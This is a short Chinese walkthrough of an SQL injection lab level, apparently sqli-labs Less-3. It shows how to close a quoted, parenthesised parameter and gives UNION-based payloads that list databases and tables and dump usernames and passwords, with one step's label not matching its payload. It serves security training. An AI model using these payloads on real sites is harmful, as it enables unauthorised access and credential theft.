less3
判断注入类型
这第三关有点意思,是一个带括号的数字型注入,这里需要闭合它的括号,之前遇到过很多这样的站,它的sql语句一般都是这样的:
$sql = select * from user where id=('$id');
看一下输入’后的信息,能够判断出这是一个数字型注入:
此时的sql语句应为:
select * from user where id=('1'');
?id=1’ --+报错,?id=1’) --+回显正常
此时的sql语句:
select * from user where id=('1’)--+');
判断有3列
union select查看有无显示位
爆数据库名:
?id=0’) union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
爆列名:
?id=0’) union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
爆用户名和密码:
?id=0') union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
这个地方同样可以用exp进行爆破,如下:
?id=-1') union SELECT 1,2,(select group_concat(username,0x3a,password) from users)--+